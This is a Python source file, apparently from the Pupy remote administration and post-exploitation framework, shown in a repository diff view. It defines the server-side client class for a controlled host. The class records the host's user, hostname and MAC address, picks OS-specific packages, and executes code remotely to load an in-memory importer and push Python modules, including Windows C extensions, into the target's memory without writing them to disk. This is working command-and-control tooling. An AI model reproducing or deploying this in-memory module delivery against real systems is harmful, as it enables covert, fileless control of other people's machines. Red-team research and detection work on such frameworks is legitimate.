# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
|
||||
import os.path
|
||||
import os
|
||||
import textwrap
|
||||
import logging
|
||||
import cPickle
|
||||
from .PupyErrors import PupyModuleError
|
||||
import traceback
|
||||
import textwrap
|
||||
|
||||
class PupyClient(object):
|
||||
def __init__(self, desc, pupsrv):
|
||||
self.desc=desc
|
||||
#alias
|
||||
self.conn=self.desc["conn"]
|
||||
self.pupsrv=pupsrv
|
||||
self.load_pupyimporter()
|
||||
|
||||
def __str__(self):
|
||||
return "PupyClient(id=%s, user=%s, hostname=%s, platform=%s)"%(self.desc["id"], self.desc["user"], self.desc["hostname"], self.desc["platform"])
|
||||
|
||||
def __del__(self):
|
||||
del self.desc
|
||||
|
||||
def short_name(self):
|
||||
try:
|
||||
return self.desc["platform"][0:3].lower()+"_"+self.desc["hostname"]+"_"+self.desc["macaddr"].replace(':','')
|
||||
except Exception:
|
||||
return "unknown"
|
||||
|
||||
def is_unix(self):
|
||||
return not self.is_windows()
|
||||
|
||||
def is_windows(self):
|
||||
if "windows" in self.desc["platform"].lower():
|
||||
return True
|
||||
return False
|
||||
|
||||
def is_proc_arch_64_bits(self):
|
||||
if "64" in self.desc["proc_arch"]:
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_packages_path(self):
|
||||
""" return the list of path to search packages for depending on client OS and architecture """
|
||||
path=[]
|
||||
if self.is_windows():
|
||||
if self.is_proc_arch_64_bits():
|
||||
path.append(os.path.join("packages","windows","amd64"))
|
||||
else:
|
||||
path.append(os.path.join("packages","windows","x86"))
|
||||
path.append(os.path.join("packages","windows","all"))
|
||||
elif self.is_unix():
|
||||
if self.is_proc_arch_64_bits():
|
||||
path.append(os.path.join("packages","linux","amd64"))
|
||||
else:
|
||||
path.append(os.path.join("packages","linux","x86"))
|
||||
path.append(os.path.join("packages","linux","all"))
|
||||
path.append(os.path.join("packages","all"))
|
||||
return path
|
||||
|
||||
def load_pupyimporter(self):
|
||||
""" load pupyimporter in case it is not """
|
||||
if "pupyimporter" not in self.conn.modules.sys.modules:
|
||||
pupyimporter_code=""
|
||||
with open(os.path.join("packages","all","pupyimporter.py"),'rb') as f:
|
||||
pupyimporter_code=f.read()
|
||||
self.conn.execute(textwrap.dedent(
|
||||
"""
|
||||
import imp
|
||||
import sys
|
||||
def pupyimporter_preimporter(code):
|
||||
mod = imp.new_module("pupyimporter")
|
||||
mod.__name__="pupyimporter"
|
||||
mod.__file__="<memimport>\\\\pupyimporter"
|
||||
mod.__package__="pupyimporter"
|
||||
sys.modules["pupyimporter"]=mod
|
||||
exec code+"\\n" in mod.__dict__
|
||||
mod.install()
|
||||
"""))
|
||||
self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code)
|
||||
|
||||
def load_package(self, module_name, force=False):
|
||||
"""
|
||||
load a python module into memory depending on what OS the client is.
|
||||
This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
|
||||
For other platforms : loading .so in memory is not supported yet.
|
||||
"""
|
||||
modules_dic={}
|
||||
start_path=module_name.replace(".",os.sep)
|
||||
package_found=False
|
||||
package_path=None
|
||||
for search_path in self.get_packages_path():
|
||||
try:
|
||||
if os.path.isdir(os.path.join(search_path,start_path)): # loading a real package with multiple files
|
||||
for root, dirs, files in os.walk(os.path.join(search_path,start_path)):
|
||||
for f in files:
|
||||
module_code=""
|
||||
with open(os.path.join(root,f),'rb') as fd:
|
||||
module_code=fd.read()
|
||||
modules_dic[os.path.join(root[len(search_path.rstrip(os.sep))+1:].replace("\\","/"),f)]=module_code
|
||||
package_found=True
|
||||
else: # loading a simple file
|
||||
for ext in [".py",".pyc",".pyd"]:
|
||||
filepath=os.path.join(search_path,start_path+ext)
|
||||
if os.path.isfile(filepath):
|
||||
module_code=""
|
||||
with open(filepath,'rb') as f:
|
||||
module_code=f.read()
|
||||
cur=""
|
||||
for rep in start_path.split(os.sep)[:-1]:
|
||||
if not cur+rep+"/__init__.py" in modules_dic:
|
||||
modules_dic[rep+"/__init__.py"]=""
|
||||
cur+=rep+"/"
|
||||
|
||||
modules_dic[start_path+ext]=module_code
|
||||
package_found=True
|
||||
break
|
||||
if package_found:
|
||||
package_path=search_path
|
||||
break
|
||||
except Exception as e:
|
||||
raise PupyModuleError("Error while loading package %s : %s"%(module_name, traceback.format_exc()))
|
||||
if "pupyimporter" not in self.conn.modules.sys.modules:
|
||||
raise PupyModuleError("pupyimporter module does not exists on the remote side !")
|
||||
#print modules_dic
|
||||
if not modules_dic:
|
||||
raise PupyModuleError("Couldn't load package %s : no such file or directory (path=%s)"%(module_name,repr(self.get_packages_path())))
|
||||
if force or ( module_name not in self.conn.modules.sys.modules ):
|
||||
self.conn.modules.pupyimporter.pupy_add_package(cPickle.dumps(modules_dic)) # we have to pickle the dic for two reasons : because the remote side is not authorized to iterate/access to the dictionary declared on this side and because it is more efficient
|
||||
logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
|
||||
return True
|
||||
return False
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue